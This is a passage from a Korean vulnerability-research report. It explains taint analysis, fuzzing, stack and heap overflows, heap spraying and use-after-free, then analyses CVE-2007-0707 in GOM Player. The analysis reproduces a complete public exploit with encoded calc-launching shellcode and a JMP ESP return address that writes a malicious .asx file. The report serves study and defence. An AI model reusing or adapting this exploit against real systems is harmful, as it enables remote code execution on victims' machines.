(Tainted) 것으로판단한뒤, 이것이악의적인목적혹은버그를발생시키는데쓰였는지를데이터흐름추적을통해탐지하는방법이다. 즉, 모든외부입력을비신뢰성 (Untrustworthy) 값으로간주하며, 이들의데이터흐름을추적하는기법을뜻한다. 오염분석은실행과정중간에 Tainted data flow를동적으로파악하는동적오염분석 (Dynamic Taint Analysis) 과실행파일을실행시키지않고정적으로파악하는정적오염분석 (Static Taint Analysis) 이있다. 정적오염분석은프로그램을직접실행시키지않으므로악성코드분석이나취약점분석을사전에점검하는데유리하다. 하지만프로그램이동적으로코드를생성. 실행하는경우실행코드가안전한지판단할수있는방법이어렵고, 오탐을일으킬가능성이높다. 또한코드기준에서의정적오염분석은프로그램을작성하는코딩스타일및언어스타일별로오류를일으킬가능성이높은부분에대해서검사하는것이일반적인데, 이를위한데이터베이스를구축하기위해서는상당한노력과경험이쌓여야한다. 따라서 2005년이후정적오염분석은동적오염분석을일부분돕는역할로만그효과를발휘하고있다. 때문에정해진연구진행기간내에이를구현하는것은무리라고판단하였다. 정적오염분석을코드분석을통해구현한대표적인사례로는 IBM의 AppScan이있다. 동적오염분석은프로그램을직접실행시키면서 Tainted Data Flow를탐색하므로, 정적오염분석에서확인할수있는명시적데이터흐름뿐만아니라동적코드생성. 실행과같은암시적데이터흐름도검사할수있다. 또한 instrumentation( 프로그램의어셈블리단위코드사이사이에사용자가임의로작성한코드를삽입, 실행하게하는기법 ) 을통해현재실행하고있는어셈블리코드하나하나에대한추적이가능하다. 하지만동적오염분석을수행할경우악성코드와같이조심스럽게수행해야할코드가자칫아무런제재없이실행될수있고, 또프로그램의분석시간이정적오염분석에비해상대적으로길고, 구현난이도도더어렵다. 이러한오염분석은일반적으로프로그램의분석을위해사용되는경우가많은데, 예를들어메모리퍼포먼스, footprint, 보안 Test 목적등이있으며, TaintBochs와같은시스템에뮬레이터를이용하면운영체제
동작감시도가능하다. 보안적관점으로봤을경우오염분석으로부터 취약한메모리영역의추적이가능하므로, 0-day 취약점, 악성코드분석 등에응용이가능하다. 1) 오염 (Taint) 객체 객체의출처값을신뢰할수없다면 (Untrustworthy) 그객체역시오염 되었다고할수있다. 다음 ( 그림 2-16) 은오염객체개념을도식화한 것이다. ( 그림 2-16) 오염객체 2) 오염전파 (Taint Propagation) 만약오염된객체 X와연산으로파생된객체인 Y가있을때, 객체 Y 는오염되었으며, 객체 X로부터객체 Y로오염되었다라고한다. 오염 (Taint) 는 t 로표시하며위의정의내용은 X -> t(y) 로표시할수있으며, 다음과같은성질을가진다. X->t(Y) and Y->t(Z), then X->t(Z) 다음 ( 그림 2-17) 은오염번식의개념을도식화한것이다.
( 그림 2-17) 오염번식도식도 3) 오염된객체의수명 (Lifetime) 아래는오염된객체가생성 / 유지되는경우와제거되는경우를설명한 내용이다. 생성 / 유지 - 신뢰하지못할 (untrusted) 객체로부터할당받는경우 - 오염된객체로부터할당받은경우 삭제 - 오염되지않은 (untainted) 객체로부터할당받은경우 - 오염된객체로부터할당을받았지만그결과가상수인경우 4) x86 에서의오염분석 (Taint Analysis on x86) 오염분석은 x86 아키텍쳐에서사용하기위해서최소한다음과같은조 건을갖춰야한다. 각각의명령연산의모든피연산자는식별가능하여야함 피연산자의유형 (source/destination) 은식별가능하여야함 각각의오염되어진 (tainted) 객체는추적이가능하여야함
각각의명령의의미가명확해야함 예를들어전형적인명령으로 mov eax, 040h 를보자면 2가지확실한피연산자는 eax 그리고 040h 값을나타낸다. Destination 피연산자는 eax, source 피연산자는 040h 값을나타낸다. 만약 source 피연산자인 040h 값이오염소스 (taint source) 피연산자라고하면 eax 또한오염피연산자값이되고, 이와파생된값들도오염된값이된다. 위의내용은단순한명령을예로생각했지만수많은연산, 명령을통해서실제로는더복잡할것이다. 오염분석은 x86 명령을중간언어 (IL : Intermediate Language) 로바꿔준후해석하는형태를띄는데, 이유는구문분석 (parse) 하기쉽고, 피연산자를식별할수있기때문이다. 오염추적메커니즘은 bit 혹은 byte 단위로이루어질수있다. 3. 퍼징 ( Fuzzing ) 퍼징은일종의소프트웨어보안테스트기법이다. 기본적인아이디어는프로그램실행시무작위데이터를첨부하는것이다. 만약프로그램실행이제대로되지않는다면프로그램에수정할결함이있다는것을의미한다. 즉, 무작위데이터를애플리케이션에입력하고그결과애플리케이션에 exception, crash 또는서버가다운되는등의에러가발생할경우보안취약점이존재할가능성이높다는것이다. 애플리케이션등에존재하는취약점들을찾아내기위한테스트라고볼수있다. Fuzz testing(fuzzing) 은 Wisconsin-Madison 대학의 Barton Miller 교수와대학원생들에의해 1989년에개발되었으며 [4] 이것에는 3가지특성이있음을설명하고있다. 그특성은아래와같다. 입력값은무작위적이다. 어떤모델의프로그램행위, 애플리케이션타입, 또는시스템기술을사용하지않는다. 이것은때론 black box 테스트 [5] 라고불린다. 기존의명령라인연구 (X-Window 연구 (1995), Windows NT 연구 [6](2000), 그리고 Mac OS X 연구 [7](2006)) 에서무작위
의입력값은단순히무작위의 ASCII 문자의연속 (stream) 이었다. 기존의 이세가지연구를위해사용된입력값은단지유효한키보드및마우 스이벤트를가진경우만포함했다. 신뢰기준은간단한데, 만약애플리케이션의실행이멈추거나 (crash) 실행이일시적으로보류 (hang) 되면테스트에서실패한것으로간주되고, 그렇지않다면테스트를통과하는것이다. 애플리케이션이입력값에대해적절하게반응을하지않는다면아무런표시없이종료될수도있다. 첫두가지특징의결과로퍼징테스트는더높은수준으로자동화 될수있고, 테스트결과는애플리케이션이나운영체계, 그리고벤더들 과각자비교될수있다. 다양한퍼징툴들이지속적으로등장하고있지만어플리케이션에존재하는특정취약점을구체적으로완벽하게지적해주는것은드물다. 퍼징테스트는전체과정에서 1차관문에해당된다고생각할수있다. 퍼징테스트동안발생하는특정부분의 exception, crash 등을파악하고, 이부분을디버깅또는분석하는추가작업이필요하다. 물론어떤툴의경우취약점을발견한후기본적인 exploit까지만들어주는것도있다. ( 가 ) 퍼징테스트 개발자들은프로그램에존재하는문제점을사전에찾아해결하기위해일부로에러를유발시키는테스트과정을거친다. 그리고퍼징테스트과정에서나오는데이터를기록하여문제해결에참고한다. 이런퍼징테스트는보통소프트웨어를공식적으로발표하기전에실시하며, 테스트데이터는보존된다. 만약 fuzz stream이난수 (pseudo-random-number)[8] 이면그퍼징테스트를다시하기위해 seed 값을저장한다. Seed값은 rand() 함수가변화를주는데있어서기준이되는초기값을말한다. 퍼징테스트를위해참고해야할현대소프트웨어가가지고있는다른
타입의입력값들은다음과같다. 그래픽사용자인터페이스또는임베디드시스템의메커니즘으로부터나오는이벤트관련입력값 파일이나소켓과같은데이터스트림 (data stream) 으로부터나온문자관련입력값 표데이터로부터나온데이터베이스입력값 환경변수와같은고유한프로그램상태 퍼징테스트에는다음과같은형태가있다. 무작위입력값이합리적이거나또는실제제품제작데이터에적합한지확인하기위한퍼징 입력값을보통허위난수생성기 (pseudo random number generator) 를사용하는단순한퍼징 주입된완전히무작위입력값의비율에맞에유효한테스트데이터를사용하는퍼징 이테크닉들을모두혼합하여사용함으로써퍼징테스트의무작위성은 시스템상태에대해광범위하게점검하고분석하는데도움이될수있 다. ( 나 ) 퍼징테스트의장단점 프로그램의결함을찾기위해사용하는퍼징테스트의가장큰약점이자단점은정확한분석보다는무작위성에의존한다는것이다. 따라서보통의경우단순한결함들은쉽게찾아내지만아주심각한보안취약점을찾아내는데는그렇게뛰어난성능을발휘하지못하고있다. 원시적인퍼저 (fuzzer, fuzzing tool) 는테스트대상이되는소프트웨어 의전체코드를완벽하게점검할수없을지모른다. 예를들어, 만약입 력값이다른랜덤한변화와맞도록적절하게업데이트되지않는체크
섬을포함하고있다면이퍼징툴은내장된체크섬유효성코드 (checksum validation code) 만으로퍼징테스트를진행할것이다. 코드전체를얼마만큼정확하게확인할수있는가는퍼저의성능을평가하는중요한기준이될것이다. 반면에퍼징테스트를통해심각한보안취약점으로이어지는버그들이발견되기도하는데, 이런버그는원격공격자에의해공격을받아시스템을장악당하는그런취약점들이될수있다. 이것은퍼징테스트가해커들에게더널리알려지면서점점사실이되어가고있다. 갈수록뛰어난퍼징기법이나퍼저들이등장하고있는것이다. 다양한퍼징테크닉들과툴들이소프트웨어의취약점을찾아내는데사용되고있다. 이것은바이너리또는소스분석, fault injection에대해가지는중요한강점이다. 퍼징은소프트웨어의알려진취약성뿐만아니라알려지지않은취약성을점검할수있는소프트웨어테스팅기술중하나이다. 퍼징의종류에는 ( 그림 2-18) 과같이크게퍼징대상의이해유무에따라덤 (dumb), 스마트 (smart) 로분류하고데이터처리방법에따라 generation, mutation으로나눌수있다. 각각에대해서자세히기술하면다음과같다 [6]. o 덤퍼징 : 덤퍼징은퍼징을하고자하는대상에대한어떠한기반지식도없이입력을주어테스팅을수행하는기법이다. 예를들면, 워드어플리케이션에임의의입력데이터혹은파일들을무작위로입력하는방법이다. o 스마트퍼징 : 스마트퍼징은테스팅을하고자하는대상에대해입력데이터를처리하기위한방법혹은올바른데이터구조에대한정보를어느정도알고잇는상태에서테스팅을수행하는기법이다. 예를들면, 워드문서포맷과올바른처리과정을알고있는상황에서오프셋이나길이필드에올바르지않은정보를입력하는방법을말한다. o Generation : Generation은테스트를위한입력데이터를새롭게만들어처리하는기법이다. 예를들면, 도움말파일포맷을알고있는상태에서도움말보기어플리케이션을위해.chm의확장자를갖는
새로운도움말파일을구성하는방법이다. o Mutation : Mutation은기존에올바른데이터에대한샘플들을얻어와그일부를변형시켜입력데이터를처리하는기법을말한다. 예를들면, 네트워크 outbound패킷의몇바이트를실시간으로변경하는방법이다. ( 그림 2-18) 퍼징의분류
참고문헌 [1] www.pintool.org [2] http://bap.ece.cmu.edu/ [3] http://msecdbg.codeplex.com/ [4] http://en.wikipedia.org/wiki/fuzz_testing [5] http://en.wikipedia.org/wiki/black_box_testing [6] ftp://ftp.cs.wisc.edu/paradyn/technical_papers/fuzz-revisited.pdf [7] ftp://ftp.cs.wisc.edu/paradyn/technical_papers/fuzz-macos.pdf [8] http://en.wikipedia.org/wiki/pseudo-random_number
제 3 장취약점원인조사 제 1 절프로그램입력데이터로발생하는취약점 1. 버퍼오버플로우 버퍼오버플로우는프로그램이배열이나동적으로할당한메모리영역의경계를넘어데이터를읽거나쓰는상황을말한다. 버퍼의경계를지나데이터를기록하면다른변수의값에영향을미치거나프로그램의제어흐름을바꿀수있는데, 이는종종소프트웨어의심각한보안취약점으로남는다. 특히 C언어로프로그램을작성하는경우에는버퍼의경계를검사하는코드를작성하는일이프로그래머의책임이므로프로그래머의실수로버퍼오버플로우취약점이나타나기쉽다. 실제버퍼오버플로우는 C언어로작성된소프트웨어가보안에취약하게만드는대표적인원인이며, 1998년의 Morris 웜, 2001년의 Code Red 바이러스는대표적인버퍼오버플로우취약점을이용한예이다.[1][2] 버퍼오버플로우는크게스택영역과힙영역으로나눌수있으며자세한내용은아래에서설명하도록한다. 가. 스택영역의버퍼오버플로우 일반적으로널리알려진버퍼오버플로우공격기법은보통스택영역에할당된버퍼를오버플로우시켜함수의리턴주소를변경 (overwrite) 하는방법을지칭한다. 다음의 < 코드 1> 과 < 코드 2> 를통해서할당된버퍼들이어떻게스택에저장되는지알수있다.
void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; } int main() { function(1,2,3); return 0; } < 코드 1> pushl $3 pushl $2 pushl $1 call function < 코드 2> < 코드 2> 어셈블리코드에서함수에대한 3개의인자들은스택에반대순서 (3,2,1) 로저장되고그후 call function() 에의하여 function() 이호출된다. 이때 call 명령은현재의명령포인터 (Instruction Pointer) 를스택에저장하고저장된명령포인터를함수의리턴주소 (RET) 라고부른다. 호출된함수안에서가장먼저처리되는것은프로시저프롤로그과정인프레임포인터값의설정및지역변수들을위한공간할당으로실제위의 < 코드 1> 에대한어셈블리코드는다음 < 코드 3> 과같다.
pushl %ebp movl %esp,%ebp subl $20,%esp < 코드 3> 위의어셈블리코드는우선현재프레임포인터인 EBP ( 스택프레임포인터 ) 를스택에밀어넣고 (push %ebp) EBP 를새로운프레임포인터로만들기위해현재의 ESP ( 스택포인터 ) 를 EBP 에복사한다.(movl %esp,%ebp) 그리고지역변수들의크기만큼스택포인터를감소시킴으로써 (subl $20,%esp) 지역변수들을위한공간이할당되는것이다. 여기서메모리는워드크기의배수만큼만지정되므로 < 코드 1> 의경우에 5바이트의버퍼는실제로는 8바이트 (2워드) 만큼의메모리를차지할것이고 10바이트의버퍼는 12바이트 (3워드) 만큼의메모리를차지한다. 그게바로 ESP가 20만큼감소되는이유이다. 실제메인함수에서 function() 이호출될때스택의구조는다음의 ( 그림 3-1) 과같다. ( 그림 3-1) 코드 1 의스택구조 실제로스택영역에서의버퍼오버플로우는버퍼가다룰수있는것보 다더많은데이터를버퍼에할당함으로써일어난다. 이때할당된버퍼
의크기이상으로버퍼에데이터를넣어스택의리턴주소가저장되어있는공간에특정코드 ( 공격코드 ) 를가리키는주소를 overwrite 함으로써실제적인공격이가능하게된다. 이러한스택영역의버퍼오버플로우가시스템에서어떻게발생할수있는지다음의 < 코드 4> 를통하여알수있다. < 코드 4> 는전형적인버퍼오버플로우코딩에러를포함한프로그램의예이다. void function(char *str) { char buffer[16]; strcpy(buffer,str); } int main() { char string[256]; int i; for(i=0 ; i<255 ; i++) string[i] = A ; function(string); return 0; } < 코드 4> < 코드 4> 에서사용된함수는문자열길이를확인하지않고 strncpy() 함수대신에 strcpy() 함수를사용하여주어진문자열을복사한다. 이러한경우에있어프로세스메모리구조는 ( 그림 3-2) 와같으며실제로 < 코드 4> 를실행한다면세그먼트오류가발생할것이다. ( 그림 3-2) 에서 fundction() 함수내의 strcpy() 함수는문자열에서널문자가발견될때까지 *str (string[256]) 의내용을 buffer[16] 로복사한다. < 코드 4> 에서 buffer[16] 의크기는 16bytes로서 256bytes의 *str 보다훨씬작다.
( 그림 3-2) 코드 4 의스택구조 이것은스택에있는 buffer 뒤의 240bytes가모두덮여쓰게되고즉, SFP, RET 그리고심지어 *str 까지도포함한다. < 코드 4> 의 main() 함수에서는 string 을문자 A 로채웠었다. A 의 16진수문자값은 0x41 이고, 이것은리턴주소 (RET) 가이제 0x414141 로변경되었다는것을의미한다. 이주소는프로세스주소공간바깥에있다. 따라서함수가복귀된후, 그주소로부터다음명령을읽으려고할때세그먼트오류가발생하게되는것이다. 그러므로버퍼오버플로우공격을통해공격자의공격코드가위치한임의의주소로함수의리턴주소 (RET) 를바꿀수있게된다. 이러한스택에서의버퍼오버플로우취약성및공격기법을방지하기위해서는프로그램에사용되는스트링라이브러리의경계체크가필수적이다. 하지만스트링라이브러리에서는경계체크를지원하는라이브러리를가지고있지만이러한라이브러리역시 Non-Terminate 스트링취약성과같은문제점을내포하고있다 [3]. 나. 힙영역의버퍼오버플로우 데이터영역은컴파일타임에초기화되며, 그중에서도 BSS(Block Segment Section) 영역의경우에는초기화되지않은변수들을포함한다.
또한힙영역은응용프로그램에의해동저으로할당되는메모리영역이다. 힙영역의버퍼오버플로우는기본적으로스택영역에서의리턴주소 overwrite와유사하다. 하지만힙영역은스택의리턴주소와같이호출된함수가다시복귀하는시점에서실행되는정해진값을 overwrite 하는것이아니라버퍼에할당된포인터값을 overwrite 하는공격유형이일반적으로사용된다. 다음의 < 코드 5> 는힙영역에할당된버퍼에대한버퍼오버플로우공격에대한취약성을보여준다. 만약데이터영역에대한취약성을테스트하기위해서는프로그램내부의버퍼할당선언부분에서 char *buf1 = (char *)malloc(bufsize) 과같이수정하면된다. #define OVERSIZE 8 int main() { unsigned long buf_diff; char *buf1 = (char *)malloc(16); char *buf2 = (char *)malloc(16); } buf_diff = (unsigned long)buf2 - (unsigned long)buf1; printf( buf1 = %p, buf2 = %p, diff = %p bytes\n, buf1, buf2, buf_diff); memset(buf2, A, 15); buf2[16] = \0 ; printf( before overflow : buf2 = %s\n, buf2); memset(buf1, B, (unsigned int)(buf_diff + OVERSIZE)); printf( after overflow : buf2 = %s\n, buf2); return 0; < 코드 5> < 코드 5> 를실행한후의힙영역의구조는아래 ( 그림 3-3) 과같다.
( 그림 3-3) 코드 5 의힙영역구조 즉, ( 그림 3-3) 에나타나듯이 memset(buf1, B, (unsigned int)(buf_diff + OVERSIZE)); 이실행되어 buf1 의제한크기를 OVERSIZE 만큼넘어서 buf2 의경계를침범하게된다. 이러한방법을사용하여힙영역에인접하게할당된버퍼의내용을변경하는것이가능하다. < 코드 5> 는힙영역의기본적인버퍼오버플로우기법을설명한것으로서특히 < 코드 5> 에서 char *buf1 = (char *)malloc(16);, char *buf2 = (char *)malloc(16); 처럼힙영역의오버플로우는스택영역의버퍼오버플로우와달리인접한버퍼를공략하여힙영역에함수포인터등의값을변경한다 [3]. 다. 힙스프레이 힙스프레이기법은브라우저의취약성을공격할때즐겨사용되는방법이다. 이기법은 2004년 SkyLined 라는해커에의해서소개되었으며 MS04-040 Internet Explorer 6 IFRAME 태그에서 SRC or NAME 인자에서발생되는힙오버플로우 (Heap Overflow) 취약성을공격할때이와같은기술을사용하였다. 힙스프레이기법의초점은 IE 와같은웹브라우저가여러취약점들에
의해서비정상적인메모리주소로 jmp 또는 call할때사용된다는점이다. 비정상적인메모리주소를힙스프레이를이용하여정상적인메모리주소로변경하여프로그램의실행흐름을제어할수있게된다. 그리고힙스프레이기술에는중요한두가지의제한사항이있다. 첫째이기술의이름에서알수있듯이힙에자신이원하는내용을뿌리게되어있다. 이때웹브라우저가가지고있는취약점이비정상적인메모리주소로 jmp 또는 call을하게되는데이때힙스프레이기법은비정상적인메모리주소를정상적으로변경한다. 그러면힙스프레이는힙에원하는내용을뿌리는기술이므로당연히위에서언급한브라우저의취약점으로 jmp 또는 call 하는비정상적인메모리주소는힙메모리영역이어야한다. ( 힙메모리영역에서도윈도우즈 (Windows) 가사용하는 DLL virtual address, PEB, TEB, 기타등과 0x7fffffff 이상의주소는사용하지못한다. 0x7fffffff 상위주소는커널 (kernel) 주소공간이기때문이다 [4].) 둘째어플리케이션의힙을통제할수있어야한다. 힙을통제할수있는몇몇어플리케이션이있는데그중하나가바로웹브라우저이다. 웹브라우저는자바스크립트 (javascript) 를이용하여힙을통제할수있다. 힙스프레이기술은웹브라우저가비정상적인메모리주소로 jmp 또는 call을하는취약점이존재할때비정상적인메모리주소를정상적인메모리주소로변경하기위해서힙에 NOP+SHELLCODE로구성된청크 (chunk) 를비정상적인주소가정상적인주소 (SHELLCODE가실행될때까지 ) 가될때까지힙에계속삽입하는것을말한다. 다음 ( 그림 3-4) 는힙스프레이의구조를나타낸것이다.
라. Use After Free ( 그림 3-4) 힙스프레이구조 Use After Free( 할당된메모리해제후사용 ) 는해제된메모리를다시사용하려고할때정적분석도구에서경고하는내용이다. 이에러는직관적으로알아차릴수있고, 프로그래머가신경을많이쓰는메모리할당 / 해제부분이라서발생빈도는크지않다. 게다가기술적으로이해하기쉽다. 아래 < 코드 6> 은 Use After Free가발생하는코드이다. int main() { int *p = (int *)malloc(sizeof(int)); int *q = (int *)malloc(sizeof(int)); *p = 10; *q = 20; p = q; printf( %d %d\n, *p, *q); free(p); free(q); } < 코드 6>
7번째중 p = q; 부분에서 p는 q의주소를덮어쓰게된다. 즉, p 와 q는같은주소를가진다. 이어 9번째줄에서 p를메모리해제하면 q 의주소역시해제하게된다. 이상태에서다시 q의메모리를해제하려고하기때문에 Use After Free가발생하게된다. 또한위의코드는기존에할당된 p에접근할방법이사라졌기때문에 Use After Free 이외에메모리누수 (Memory Leak) 가발생한다. 위와같은내용을기반으로소프트웨어실행시에동적, 정적할당된메모리를사용후에해제했음에도불구하고메모리에값이남아해당부분을참조할경우발생되는버그이며주로이슈화되는소프트웨어로브라우저가있다. 브라우저가주로이슈화되는이유로는힙스프레이가가능하다는점, 개체의동적생성과해제가자바스크립트를통해가능하기때문이다. 2. 취약점을유발시키는 API 조사 스택오버플로우, 힙오버플로우의취약점을유발하는취약 API 리 스트는다음과같다. <format string 넣기 > 스택오버플로우 /SEH 오버플로우힙오버플로우 Use-After-Free strcat(), strcpy(), gets(), scanf(), sscanf(), vscanf(), vsscanf(), sprintf(), vsprintf(), gethostmyname() HeapAlloc(), HeapFree(), Malloc(), free(), new(), delete(), memcpy() HeapAlloc(), HeapFree(), Malloc(), free(), new(), delete() 스택오버플로우를유발하는취약 API와같은경우입력값의크기 ( 경계 ) 를체크하지않고메모리에할당된버퍼양을초과하는데이터를입력으로받을수있다. 해당 API 이전에입력데이터의크기를체크하는루틴을두거나 strncpy 등특정입력데이터의크기를제한하는방법이있다. 하지만이또한연산에의한정수오버플로우에의해문제가발생할수있다.
힙오버플로우와같은경우는주로동적으로할당된메모리보다큰입력메모리영역이복사될때주로발생한다. 힙에저장되는데이터를변조하거나, 함수에대한포인터값을변조함으로써임의의코드를실행시키기위한공격이수행되며정수오버플로우에의한메모리사이즈조작을통해주로발생한다. Use-After-Free는동적으로할당된메모리를해제하고해제된메모리를다시사용하려고할때발생하는문제이다. 이는사용후에해제했음에도불구하고메모리에값이남아해당부분을참조할경우발생되는버그이며주로이슈화되는소프트웨어는브라우저가있다. 해제된메모리재사용에서문제가발생하기때문에메모리할당과메모리해제 API 에어서주로문제가발생하며이중해제 (Double free), 해제된메모리재사용을체크하여경고를발생시킬수있다. 제 2 절입력데이터로발생되는기존취약점조사 / 분석 파일포맷조작을통한 플레이어원격코드실행취약점 1) 개요 o CVE : CVE-2007-0707 o Exploit 파일포맷 : ASX(Advanced Stream Redirector) o 플레이어 : GOM 플레이어 (Version 2.0.12 3375) 2) 취약점발생원인 ASX(Advanced Stream Redirector) 포맷은 XML 형태로 ASF 등의미디어 파일의 Streaming 서비스를지원하기위한것으로, 간단한헤더와실제 미디어파일의 URL 로구성된다.
( 그림 3-5) ASX 파일구조 ASX 포멧은실재위의 ( 그림 3-5) 와같은구조로본취약점은 "ref href=" 뒤에오는미디어파일의 URL 위치에버퍼의크기보다큰값을입 력하여 Buffer Overflow 를발생시킨다. 3) 공격성공시영향 개념증명코드분석결과 ( 그림 3-6) 의계산기프로그램을실행시키는 쉘코드가실행되었으며쉘코드를변형시켜악성코드다운로드등의코 드실행이가능하다. ( 그림 3-6) 계산기프로그램실행쉘코드 4) 개념증명코드 (PoC)
취약점보고자에의해보고된개념증명코드는아래 ( 표 3-1) 과같다. /*------------------------------------------------ * GOM Player 2.0.12 (.ASX) Stack Overflow Exploit *------------------------------------------------- * [_>Exploit Code by:data_sniper * [_>Greetz: Arabic and algeria hackerz,arab4services.net and AT4RE Teams. * [_]My blog:http://datasniper.arab4services.net * NOTIFICATION: * The vulnerabilty was reported by Parvez Anwar in Secuina after that i discovered it so all rights goes to Parvez Anwar. * i used internal address (in GOM.exe) to JMP and run the shellcode so the exploit is Universal. * http://secunia.com/advisories/23994 * SEH Methode can be implemented for variant exploit. */ #include <stdio.h> #include <windows.h> ( 표 3-1) SecurityFocus 에등록된개념증명코드 unsigned char Header1[] = /*ASX data in unicode format */ "\xff\xfe\x3c\x00\x61\x00\x73\x00\x78\x00\x20\x00\x76\x00\x65\x00\x72\x00\x73\x00\x69\x00\x6f\x00\x6 E\x00\x20\x00\x3D\x00\x20\x00" "\x22\x00\x33\x00\x2e\x00\x30\x00\x22\x00\x20\x00\x3e\x00\x0d\x00\x0a\x00\x3c\x00\x65\x00\x6e\x00\x7 4\x00\x72\x00\x79\x00\x3E\x00" "\x0d\x00\x0a\x00\x3c\x00\x74\x00\x69\x00\x74\x00\x6c\x00\x65\x00\x3e\x00\x48\x06\x2f\x06\x27\x06\x3 9\x06\x27\x06\x20\x00\x23\x06\x4A\x06\x47\x06" "\x27\x06\x20\x00\x27\x06\x44\x06\x28\x06\x37\x06\x44\x06\x2e\x00\x6d\x00\x70\x00\x33\x00\x3c\x00\x2 F\x00\x74\x00\x69\x00\x74\x00" "\x6c\x00\x65\x00\x3e\x00\x0d\x00\x0a\x00\x3c\x00\x72\x00\x65\x00\x66\x00\x20\x00\x68\x00\x72\x00\x6 5\x00\x66\x00\x20\x00\x3D\x00\x20\x00\x22"; unsigned char Header2[] ="\x22\x00\x20\x00\x2f\x00\x3e\x00\x0d\x00\x0a\x00\x3c\x00\x2f\x00\x65\x00\x6 E\x00\x74\x00\x72\x00\x79\x00\x3E\x00\x0D\x00\x0A\x00\x3C\x00\x2F\x00\x61\x00 \x73\x00\x78\x00\x3e\x00\x0d\x00\x0a\x00"; /*windows/exec - 144 bytes,encoder: x86/shikata_ga_nai,exitfunc=process, CMD=calc*/ unsigned char Shell[] = "\x31\xc9\xbd\x90\xb7\x29\xb8\xd9\xf7\xd9\x74\x24\xf4\xb1\x1e" "\x58\x31\x68\x11\x03\x68\x11\x83\xe8\x6c\x55\xdc\x44\x64\xde" "\x1f\xb5\x74\x54\x5a\x89\xff\x16\x60\x89\xfe\x09\xe1\x26\x18" "\x5d\xa9\x98\x19\x8a\x1f\x52\x2d\xc7\xa1\x8a\x7c\x17\x38\xfe" "\xfa\x57\x4f\xf8\xc3\x92\xbd\x07\x01\xc9\x4a\x3c\xd1\x2a\xb7" "\x36\x3c\xb9\xe8\x9c\xbf\x55\x70\x56\xb3\xe2\xf6\x37\xd7\xf5" "\xe3\x43\xfb\x7e\xf2\xb8\x8a\xdd\xd1\x3a\x4f\x82\x28\xb5\x2f" "\x6b\x2f\xb2\xe9\xa3\x24\x84\xf9\x48\x4a\x19\xac\xc4\xc3\x29" "\x27\x22\x90\xea\x5d\x83\xff\x94\x79\xc1\x73\x01\xe1\xf8\xfe" "\xdf\x46\xfa\x18\xbc\x09\x68\x84\x43"; int main( int argc, char **argv ) { char payload[4563]; char junk[4171];/*overflow trigger*/ unsigned char RET_Univ[] = "\x77\x45\x46\x00"; // JMP ESP in GOM.exe this make it universal, & don't worry about nullbyte,greetz go to unicode ;) /*char RET_sp2 = "\xf3\xc3\xe1\x77" /* if im wrong up there, use this => JMP ESP in kernel32.dll XP SP2 fr */ unsigned char nop[] = "\x90\x90\x90\x90\x90\x90\x90\x90"; //Nops FILE *f; printf("gom Player 2.0.12 (.ASX) Stack Overflow Exploit by DATA_SNIPER\r\n"); printf("---------------------------------------------------\r\n"); memset(junk, 0x41, 4171);
printf("[_] Building Exploit..\r\n"); memcpy( payload, Header1, sizeof( Header1 ) - 1 ); memcpy( payload + sizeof( Header1 ) - 1, junk, 4172 ); memcpy( payload + sizeof( Header1 ) + sizeof(junk)-1, RET_Univ, 4 ); memcpy( payload + sizeof( Header1 ) + sizeof(junk)+sizeof(ret_univ)-2, nop, sizeof(nop)-1 ); memcpy( payload + sizeof( Header1 ) + sizeof(junk)+sizeof(nop)+sizeof(ret_univ)-3, Shell, sizeof( Shell ) - 1 ); memcpy( payload + sizeof( Header1 ) + sizeof(junk)+sizeof(ret_univ)+sizeof(nop)+ sizeof(shell)-4, Header2, sizeof( Header2 ) - 1 ); f = fopen( "GAZA.asx", "wb" ); if ( f == NULL ) { printf("[_] Cannot create file\n"); return 0; } fwrite( payload, 1, sizeof(payload), f ); fclose( f ); printf("[_] GAZA.asx file Created,have unf :)\r\n"); return 0; } 위의 PoC 를이용해생성된 Exploit ASX 파일의구조는 ( 그림 3-7) 과같 다. ( 그림 3-7) Exploit ASX 파일의구조 취약점을공격할목적으로 GAZA.asx라는파일을생성하는데파일의처음과끝부분에는정상적인 ASX header가위치하고버퍼의시작부터 Overwrite할 RET의앞부분까지채울 Dummy data, Overwrite할 RET, nop, 실행시킬코드 (Windows 계산기 ) 가위치한다. 여기서주목할부분은 Overwrite할 RET 인데본취약점에서는 "JMP ESP" 를 GOM 플레이어에서찾아해당주소로 RET를 Overwrite하는 Buffer Overflow 기법을사용한다.
( 그림 3-8) GOM 플레이어내부의 JMP ESP ( 그림 3-8) 과같이 JMP ESP(FF E4) 의주소로 RET를변경하는데, 본래 0x00464577의앞부분의코드를포함하여다른명령이지만 JMP ESP(FF E4) 라는패턴을찾아주소를선택한것이다. String 처리시에 ASCII(1 Byte) 단위로처리하면 0x00464577과같은주소는앞부분의 0x00이 NULL 로인식되어정상적으로복사되지못하지만 Gom 플레이어 (Version 2.0.12 3375) 에서는해당부분해당부분의 String 처리시에 UNICODE(2 Byte) 단위로처리하여 0x00이 NULL로인식되지않아정상적으로복사된다. 5) 상세분석 ㄱ. 재현과정 다. 본 Buffer Overflow 를발생시키는취약실행코드는 ( 그림 3-9) 와같 ( 그림 3-9) 취약실행코드 여기서 WORD(2 Byte) 단위로 MOV 명령을통해공격코드를버퍼에복사하는것을확인할수있는데, 이것을통해 UNICODE 단위의처리가이루어지는것을알수있다. WORD단위의복사는 TEST DX,DX를통해 UNICODE로 NULL일때까지계속된다. 즉버퍼의크기를고려하지않는전형적인 Buffer Overflow 취약코드이다. 공격코드의 Overwrite할 RET는 ( 그림 3-10) 과같이실제스택의 0x0012EC1C 위치에 Overwrite되는데 Overflow 이전에는위의그림과같이특정함수호출에의한 Return Address의위치이다.
( 그림 3-10) Overflow 로덮어쓸 RET 위치 ( 그림 3-11) JMP ESP 를통한공격코드실행 Buffer Overflow이후의스택이다. 공격코드에의해 0x0012EC1C, 즉 RET직전까지 0x41('A') 가 Overwrite되었고, ( 그림 3-11) 과같이 RET에 JMP ESP실행코드의주소인 0x00464577이 Overwrite된후, 실재계산기를실행시킬실행코드로나머지부분들이 Overwrite된것을확인할수있다. ( 그림 3-12) EIP 변경실행코드 Buffer Overflow 이후 ( 그림 3-12) 처럼 ADD ESP, 131C에의해 ESP가변조된 RET로변경되고, RETN 명령에의해 EIP가변조된 RET로변경되어 JMP ESP가실행되고, 변조된 RET의바로다음주소로 EIP가변경되어공격실행코드인계산기가실행된다. ㄴ. 실행결과 재현과정을통해 ( 그림 3-13) 과같이 EIP 가 JMP ESP 의주소인 0x00464577 로변경되었다. EIP 주소가 JMP ESP 에의해스택에적재된공
